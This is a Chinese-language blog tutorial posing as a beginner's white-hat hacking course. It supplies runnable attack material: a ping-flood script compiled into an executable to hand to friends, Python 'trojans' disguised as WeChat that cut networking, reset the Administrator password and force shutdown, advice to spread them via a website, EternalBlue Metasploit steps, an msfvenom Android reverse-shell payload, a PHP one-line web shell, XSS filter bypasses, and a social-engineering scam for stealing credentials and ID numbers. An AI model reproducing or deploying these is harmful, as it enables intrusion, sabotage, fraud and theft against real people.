九分钟教你成为白帽黑客  让你成为白帽子黑客

相关说明 本章所讲述的所有黑客技术,均不得用于非法目的。 如果你觉得文章含有侵权部分,可以联系CSDN私聊,我会适当修改。 未经允许,不得转载,如需转载,

相关说明

本章所讲述的所有黑客技术,均不得用于非法目的。
如果你觉得文章含有侵权部分,可以联系CSDN私聊,我会适当修改。
未经允许,不得转载,如需转载,请CSDN私聊。

前言

每当我们坐在电视机面前,看着电视中,黑客戴着黑色的帽子,手指在键盘上快速的敲击,电脑屏幕上快速的闪过英文字符,我们都会觉得——哇!这个人好厉害!我也好想成为这样子。
黑客通过一系列的手段,破解密码,篡改网页,攻击网络,盗取文件,这一系列操作却让人们望而却步。因为:

感觉太难了,普通人根本没办法做到!

但是,这篇文章,却可以让你做到!
可能你会想:我现在连电脑都不会用,怎么可能成为黑客?
本文提供详细的说明,你只要照着做就可以了,同时借助下列工具:

  • 百度:用于搜索相关问题
  • 黑客书籍:用于学习更多知识
  • 工具:用于更方便的攻击,本章都会有相关教程

OK,如果你准备好了,请你继续阅读之后的内容。

安装Python

好的,现在我们开始学习成为白帽子黑客!
首先,你要有一些基础的编程能力。我们使用Python编程语言。
编程语言就像我们说的语言一样,有各式各样的语言,例如Java, C, C++等语言,我们现在学习的是简单但功能强大的语言:Python。
当然,作为黑客,我们至少要学习2门语言,这个之后再说。

下载Python安装包

和正常软件一样,我们需要下载和安装。
访问网址:https://www.python.org/
在这里插入图片描述
点击Download,下载最新版本:Python3.8.5.
下载到本地了之后,我们就可以安装了。和正常软件一样,根据想到安装,最后,你会在Windows10菜单中发现这个文件夹:
在这里插入图片描述
打开IDLE:
在这里插入图片描述
IDLE虽然并不是非常好看,但是其中拥有了编写Python代码的能力,现在,我们输入这个内容:

print("Hello World!")

看看发生了什么:
在这里插入图片描述
你让电脑输出了Hello World!

如果你遇到了问题

如果你可以成功输出,那么跳过这一小节。
如果你遇到了问题,别着急。实不相瞒,我当年为了写个Hello World,用了一个礼拜,百度都被我用的…………。
常见的问题是:你的符号有没有用英文符号?
记住,所有的内容都需要用英文符号!

搭建攻击环境

刚刚我们在电脑上安装了Python环境,并且让他输出了我们想要让他输出的内容。现在,我们需要搭建一个攻击对象!
我们需要学习的是攻击个人电脑,网站。所以我们需要自己搭建攻击环境。
搭建个人电脑,我们用到虚拟机。
首先我们下载一个镜像文件,我们打开MSDN我告诉你
然后我们看到这里,有一个操作系统,点开,然后我们可以选择我们要搭建的虚拟机的机型,然后复制ed2k链接,通过迅雷下载:
在这里插入图片描述
然后我们通过虚拟机软件搭建,可以通过百度学习,最后我们需要创建完成的虚拟机如下:
在这里插入图片描述
现在,我已经建立好了一个虚拟机了。并且已经安装好了相应的程序。

遇到了问题?

当时我安装虚拟机也是花了不少力气,如果你们遇到了问题,可以自己百度一下。

网络靶场和网站

详见之前的文章。

初级篇

我们刚刚已经完成了环境的搭建,现在我们正式开始学习。

相关术语

首先我们需要了解相关术语,这些都是黑客逃不掉的。

  • 可执行文件
    可执行文件指的就是后缀名为.exe的文件,这些文件,只需要用户双击,就可以执行。通常木马都会伪装成一个可执行文件,你不可能还告诉用户:你的电脑上先安装Python,然后打开IDLE,把代码复制进去,然后右键运行。那么用户肯定不会下载。
  • 肉鸡
    通常,DDOS,CC这种类型的攻击都需要大量的人力来执行,可是黑客不可能为了一次攻击而雇佣大量的人。
    所以,黑客在黑掉一台计算机之后,会用这台计算机也来参加攻击,那么,这台计算机就是一台肉鸡。
  • 木马病毒
    通过各种手段,植入到计算机,盗取密码,将其变为肉鸡的程序都是木马程序。
  • 编程
    就是用计算机听得懂的语言,来让计算机帮助我们做事情。通常通过编程语言来实现。
  • 渗透
    简单来说就是攻击。
  • 靶机
    就是我们要攻击渗透的计算机或者网站

ping指令

ping,通常用于测试计算机的网络,用它,我们可以向一台计算机发送数据包。
我们打开Python,开始写代码:

import os
os.system("ping www.baidu.com")

现在,我们向百度发送了数据包。当然,我们可以扫描一个IP地址:

import os
os.system("ping 192.168.255.255")

但是,如果我们向一个指定的靶机发送大量的数据包,那么对方的计算机可能就会承受不了!
接下来,我们看一下如何实现。

通过ping攻击目标计算机

首先我们创建一台Windows7计算机,然后我们需要拿到它的IP地址。
我们在电脑上打开CMD。打开方法就是同时按下电脑键盘上的WINDOWS按键和R按键,在弹出的输入框中输入CMD,回车。
在这里插入图片描述
在这里插入图片描述
然后我们输入ipconfig拿到ip地址:

192.168.255.254

我们回到主机,输入我们的Python代码:

import os
print("攻击已经开始!按下Ctrl + C停止攻击")
os.system("ping -t 192.168.255.254")

这样我们就能永远向这台计算机发送数据包了!
但是,仅凭一己之力还是很难成功,所以,我们需要其他好友的帮忙。
我们在终端输入:pyinstaller -F xxx.py
然后就会生成一个可执行文件,我们把它发送到你的好友,然后开始攻击。

番外:攻击从未停止

当你的好友(>= 100)开始攻击的时候,我们可以刷一部电影。
刷完之后,你看看,差不多已经发送了大量的数据了。
如果你觉得太慢了,我们在加大数据包的大小:

import os
print("攻击已经开始!按下Ctrl + C停止攻击")
os.system("ping -t -l 60000 192.168.255.254")

然后,那台电脑估计就已经网络堵塞了。

Kali Linux

Linux是黑客最喜欢使用的操作系统之一,而Kali更是受到各类黑客的喜爱!因为Kali不仅预安装了各种编程开发环境,而且几乎将所有黑客工具都集结于一台计算机(中国黑客工具除外)。
现在,我们需要安装一台Kali Linux虚拟机(详见上文)。
在这里插入图片描述
这就是一台黑客主机,你使用他,你就是黑客,正如此话所言:
Kali用得好,监狱蹲到老。

制作木马程序

相信大家都知道木马和病毒。木马病毒的主要目的包括:
1.获取信息
2.偷取财务
3.夺取资料
4.证明实力
5.拿钱跑路

本人最初接触木马病毒是为了证明实力【哈】。
本章,我们不会教大家如何制作木马,今天我们只是制作木马病毒模块,例如关机,修改密码等。不过下文中,我还是成为病毒,毕竟这也是一种。

1.制作断网木马

如果用户运行木马程序,就会断网,就这么简单。和原理一样简单。
在CMD中,断网使用的指令是:

NET STOP SERVICE

使用Python制作木马程序,可以用这个代码:

import os
os.system("net stop service")

断网木马,通常只是一个恶作剧木马。

2.制作弹窗木马

为了提高弹窗木马的真实性,我们将其伪装成一个程序,代码附上:

import tkinter.messagebox
import tkinter
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

这是一个正常的程序,对电脑没有伤害,然后我们结合一个断网木马。

import os
import tkinter.messagebox
import tkinter
os.system("net stop service")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

然后,我们弹窗。

import os
import tkinter.messagebox
import tkinter
os.system("net stop service")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()
tkinter.messagebox.showerror("错误", "Windows防火墙意外关闭")
tkinter.messagebox.showerror("错误", "Windows木马查杀工具意外关闭")
tkinter.messagebox.showerror("广告", "Windows驻西安皮革厂倒闭了!")
……………………………………

3.修改密码病毒

这个病毒可以修改电脑密码!
首先,我们编写伪装程序:

import tkinter.messagebox
import tkinter
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

然后,我们通过CMD指令修改Administrator密码:

import tkinter.messagebox
import tkinter
import os
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

修改好了密码,然后,我们断网:

import tkinter.messagebox
import tkinter
import os
os.system("net stop service")
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

病毒正在提升威力!但是如果有人一直不关机怎么办?没关系!

制作强制关机脚本

立刻关机的CMD命令:

shutdown -s -t 0

如果设置的是一分钟后关机,那么:

shutdown -s -t 60

OK,通过这段代码,我们结合上面的代码,来开始制作!

import tkinter.messagebox
import tkinter
import os
os.system("net stop service")
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()
os.system("shutdown -s -t 0")

我们通过一段段的学习,现在已经可以制作木马病毒了!

传播病毒

我们需要传播病毒,这样才会有人下载我们的木马。
利用凡客建站搭建一个网站散播病毒。
在这里插入图片描述
下载之后,木马病毒就会生效。

初级篇章节小结

通过以上的学习,我们学习了怎么制作木马程序以及通过ping攻击网站。
然而中级篇,我们将学习很多高级的东西。

中级篇

初级篇的东西太过简单,所以我们现在要学习更多强大的东西。
中级篇,我们要学习攻击一个网站,并且我们要学习木马的一个大的种类——远控木马。并且学习控制手机或计算机。然后我们要学习通过Windows漏洞攻击计算机,例如永恒之蓝等。
你,准备好了吗?
如果你准备好了,我们就开始吧!

攻击网站要点

学习攻击网站,我们就要学习一些攻击的要点。
寻找漏洞就是攻击网站最关键的地方。一个网站,肯定有漏洞,只不过就看开发者怎么处理这个漏洞。

常见Web漏洞

一.SQL注入漏洞

这么来说吧,这个网站只要使用了数据库,一般都有被SQL注入的风险。这要看网站是怎么防护的。
SQL注入漏洞原理就是通过输入框输入的内容和SQL语句来拼接而成。

<?php
...
$input = $_GET['input'];
$get = "SELECT username From users WHERE username = '$input'";
...

这个就是典型的PHP注入漏洞代码。
SQL注入漏洞一直是网络安全漏洞中的头等大敌,每个企业都在尽力避免。SQL注入漏洞最高的危险就是数据库内容被获取,个人隐私泄露。试想一下,如果一个上万人注册的网站被SQL注入,那么,这个网站不得赔死。

在网站上寻找SQL注入点实现注入

一般只要有输入框和SQL语句是拼接的,都是SQL注入可以尝试的注入点。那么一般的网站,都是非常大而且杂的,所以我们要尝试在一个复杂的网站上试图寻找注入点。
去百度上寻找一个网站去练手吧!但是千万不要去攻击。

SQL注入防御

其实,一个网站必须使用数据库,只要使用了数据库,就都有被攻击的风险。具体的防护方法有很多,其中最为常见的就是过滤。
过滤就是将用户输入的危险字符通过某种转义方式改为不危险字符。其中危险字符就包括:

select, delete, insert, update, or, where......

等等,但是之过滤这些字符还不够,攻击者可以通过大小写混写来绕过防护,所以,我们需要通过正则表达式来防护。

白名单和黑名单

设置黑白名单也是有效的防护方法。通过检测用户的异常行为,并拒绝该IP地址向网站服务器发送请求。
例如一个网站,用户192.168.255.255向网站服务器发送请求,然后网站正常响应。但是用户192.168.255.255在输入框中连续输入危险字符超过一定次数,那么下次192.168.255.255再向网站发送请求的时候,黑名单已经记录了下来,然后请求被拒绝。
函数大体如下:

def defence():
    global i
    #过滤函数
    i = 0#计数器
    ......
    i += 1;
if i > 5:
    #封禁操作    

自动化软件

目前作者知道的主要是SQLmap以及啊D工具。这两个工具可以实现SQL注入。

二.XSS跨站脚本攻击漏洞

曾经一度被OWASP列为最危险漏洞。XSS,跨站脚本攻击,本质上也是一种注入攻击。最容易受到XSS漏洞影响的大多数是一些实时通讯功能,例如留言板,在线聊天室。
为什么XSS漏洞如此受重视?因为它的危害程度不亚于SQL注入攻击。如果一个网站存在XSS漏洞,那么攻击者可以执行任意的Js代码。

$input = $_GET['input'];
echo "$input";

最常见的测试指令,就是<script>alert(1)</script>。我们现在来看一下攻击案例。通过这个攻击案例来看一下XSS。

攻击案例

自己花了一点时间搭建了一个模拟某科技公司的官网。其中黑客容易攻击的地方主要有两处。分别是:
1.在线留言板:
在这里插入图片描述
这个点非常可能被攻击,重点考虑。
2.全站搜索
在这里插入图片描述
除了刚刚的留言板,这个是唯一的交互式输入框。虽说不打算考虑,但是我开发时没有任何过滤,所以也有注入风险。
留言板功能,我为了模拟真正的攻击,请了一个朋友帮我做了一个过滤,然后让我攻击。简单的尝试了一下。简单的尖括号,script,iframe,click等都过滤了,但是,好像唯独没有过滤img字符,这位老兄HTML没学好啊!尝试攻击,果然成功。
在这里插入图片描述
我问了一下他,还看了一下过滤代码,发现他是用的正则表达式,如果不用,那么以下的语句都是可以用的:

<scri<script>pt>alert(1)</script>
<scrIpt>alert(1)</script>
<script>alert(1)</SCript>
......

还有就是递归。当然,这里黑白名单也是可以用的。
其实,XSS漏洞的危害,取决于黑客的Js代码,如果一个不会编程的黑客,就算发现了XSS漏洞,那么最多弹框。

关于HTML转义

这就很难绕过了。
不过XSS Aditor是有办法绕过的,本人现在还在学习。

相关工具

我目前并没有发现什么有用的黑客工具可以用来XSS,所以手工注入的能力很重要。

三.暴力破解漏洞

相信大家应该都知道枚举(又称穷举),那就是通过一个个试,最终得到结果,机器最适合干这个事了,所以,暴力破解漏洞由此诞生。
通过Python可以实现暴力破解,主要使用的是request模块,这个模块可以处理网站,当然也可以用来爬虫。
一般来说,暴力破解漏洞存在于登入界面或者密码界面,最简单的例子就是管理员后台,有登入密码,以及常见的如“您的文件已加密,请输入密码”或者“请输入密码查看”等,人们总是认为这种方式能够防止数据被偷窃,但是,有暴力破解。
在这里插入图片描述
几乎所有网站都是用上图的登入方式。

弱密码

什么是弱密码呢?123456,888888,qwerty等都是弱密码,这些弱密码大多数都在黑客的密码字典中,所以,弱密码是最容易破解的。一般黑客的弱密码字典大多数在10-20MB,估算一下,大概有几百万个密码。
弱密码非常危险,所以,现在密码一定不要设置成弱密码。

暴力破解防护方法

行为验证码

行为验证码需要用户通过验证码,例如滑动图标,辨别图片等内容。有些大型的社交平台,如微博,有时候甚至需要两次行为验证。这对黑客暴力破解加大了难度。不过验证码也不一定安全,这就要看开发者怎么去开发了,有没有验证码失效制度。
我在互联网上找到了一个网站,所有的登入注册都需要验证。
注册(双重认证:行为认证和短信验证码):
在这里插入图片描述
账密登入:
在这里插入图片描述
短信登入(又是双重认证);
在这里插入图片描述

token放爆破机制

所谓的token,其实就是一个验证码,只不过验证码用户看不到,而是通过两端的token验证码进行比对,确认无误才能通过。
token放爆破机制其实也有绕过方式,同样是开发者的失效机制有没有开发好。

自动化工具

暴力破解就很多了。你们大可自己开发或寻找。

四.文件上传漏洞

文件上传是现在很多网站都具备的功能,例如说头像上传,资料上传等。那么,如果一个网站具有上传文件的功能,攻击者是不是就可以上传木马呢?
事实证明,如果网站对文件上传的后缀名,内容没有做任何审核,那么木马是可以上传成功的。
最简单的木马,就是只通过一句PHP代码来实现,简称PHP一句话木马。

<?php eval(@$_POST['a']); ?>

最后通过中国菜刀拿到整个网站的框架。

怎么过滤?

开发者通过对文件上传内容进行文件后缀名检测。比如作者之前有做过一个文件上传漏洞检测,就可以通过对特定的后缀名进行勘察。
例如一个功能,是上传头像,那么用户肯定不会上传一个php文件上去,所以,我们就可以规定这类文件可以上传:

.jpg  .png  .gif  .bmp 

但是,这太天真了。对于黑客来说,改个后缀名岂不是简简单单?
于是,新的防护产品诞生了!

安全狗

安全狗可以通过相关技术,挖掘文件内容,准确识别PHP一句话木马,网络木马等。但是,PHP有办法绕过一句话。

CSRF漏洞

这个漏洞的条件比较苛刻,CSRF其实是通过一个恶意链接,有待用户点击,然后修改用户内容。
CSRF通常出现在忘记密码。攻击者构造好链接之后,就可以修改相关信息。这里不多做介绍。

Web小结

了解了网站的常见漏洞之后,我们就可以找网站练手了。当然,如果我们挖到了漏洞,可以提交给SRC,这样还能挣钱!

永恒之蓝(eternalblue)漏洞复现

这个漏洞相信大家都听说过。永恒之蓝,英语名eternalblue,是一个基于445端口的漏洞。通过这个漏洞,我们最高可以拿到Root权限。曾经轰动世界的想哭勒索病毒,就是通过永恒之蓝漏洞入侵的。
MSF可以攻击的版本:

Windows 7各版本
Windows Server 2008 R2
Windows 8及以上部分版本

目前,微软已经发布了该漏洞的补丁,用户可以通过下载安全补丁保护电脑。同时安装杀毒软件。
目前,作者亲测的可以防护445攻击的杀毒软件有:
360卫士,火绒,卡巴斯基,金山会员版。
其他的还没试,不过有几个我试过了,但是没有抵挡:
江民杀毒,2345安全卫士。

渗透复现

实验环境:
一台Kali攻击电脑。
一台开启445,关闭防火墙,无杀毒软件, 无补丁的Windows Server 2008 R2

MSF攻击的实现方法:

msfconsole   启动MSF
search eterbalblue   查找相关模块
use exploit/windows/smb/ms17_010_eterbalblue 使用模块
set lhost 自己的ip
set rhost 靶机的ip
set rport 445 设置端口
exploit 开始攻击

然后就可以拿到目标靶机的CMD。

然后我们开用户

net user hacker 123456 /add

改密码

net user Administrator kafj

远程控制安卓手机

刚刚我们解除了MSF框架,现在我们通过MSF制作远控木马!让你能够控制安卓手机。
首先我们输入命令msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.0 LPORT=4444 R > /home/kali/Desktop/or.apk
这里的LHOST是你的Kali的IP。

输入命令:msfconsole来启动msfconsole

然后

1.use exploit/multi/handler   //加载模块
2. set payload android/meterpreter/reverse_tcp   //选择Payload
3、show options   //查看参数设置
4.set LHOST 192.168.1.114   //这里的地址设置成我们刚才生成木马的IP地址
5.set LPORT 5555   //这里的端口设置成刚才我们生成木马所监听的端口
6.exploit   //开始执行漏洞 开始监听,等待手机上线
 7、手机打开安装的软件,

kali端监听结果:表示后门控制做好了。
这样,我们就控制了手机。

远控Windows电脑

如果用MSF,那么其实是一样的。但是这里我们使用灰鸽子木马来实现。
由于作者极度懒惰,所以,这个就留为本章节的挑战吧!

高级篇:社会工程学

什么是社会工程学呢?就是通过人性,从而进行攻击。
人是整个网络防护中最薄弱的一块,所以很多黑客就冲着这一点攻击。下main看一个案例

案例:通过社会工程学获取用户个人信息

(前期:用户大白在某网站上注册了一个账号,然后有一天发现网站的提现功能失效了,于是就找到了伪装成工作人员的黑客)
大白:搞啥玩儿,这钱怎么提不出来了?
黑客:您先别急,我来看看。
(过了5min)
黑客:你好,你的账号好像出了点问题。
大白:啥子问题?
黑客:emmm,似乎被黑客入侵了,前几天也是有一个这样的用户。
大白(傻眼了):黑客入侵?那咋办呢?我可存了10W+米呢!
黑客:您先告诉我账号密码,然后我帮你看看是什么问题。
大白:用户名:DB19990512 密码是那么qweqwe
(过了3min)
黑客:手机已经被攻击,你看看能不能把身份证信息告诉我,我帮您看看联合实名认证能不能帮您解决
大白:31020419900512375X
黑客:不好意思,你的手机已经被黑客掌控。
大白:玩了,我的钱啊!
黑客:没关系,我可以帮你。
大白:你拿什么帮我?
黑客:你先付我5000块钱,然后我帮您申请一个“防黑加固”。虽然钱取不出来了,但是之后钱还是可以正常存的。
大白:我的钱都没有了,存个****,我看你***就是玩我。
黑客:已经被黑客偷走的钱是要不回来的,所以你现在只能这样了!
大白:好吧。
(黑客账号多了5000米)
黑客:好了,下次小心点。
大白:OK

通过上面的故事,黑客成功拿到了大白的身份证号码,以及账号密码的信息,还多挣了5000块。这就是社会工程学的威力。

结束

本章到此结束!

  • 发表于 2021-05-01 07:37
  • 阅读 ( 1118 )
  • 分类:互联网

0 条评论

请先 登录 后评论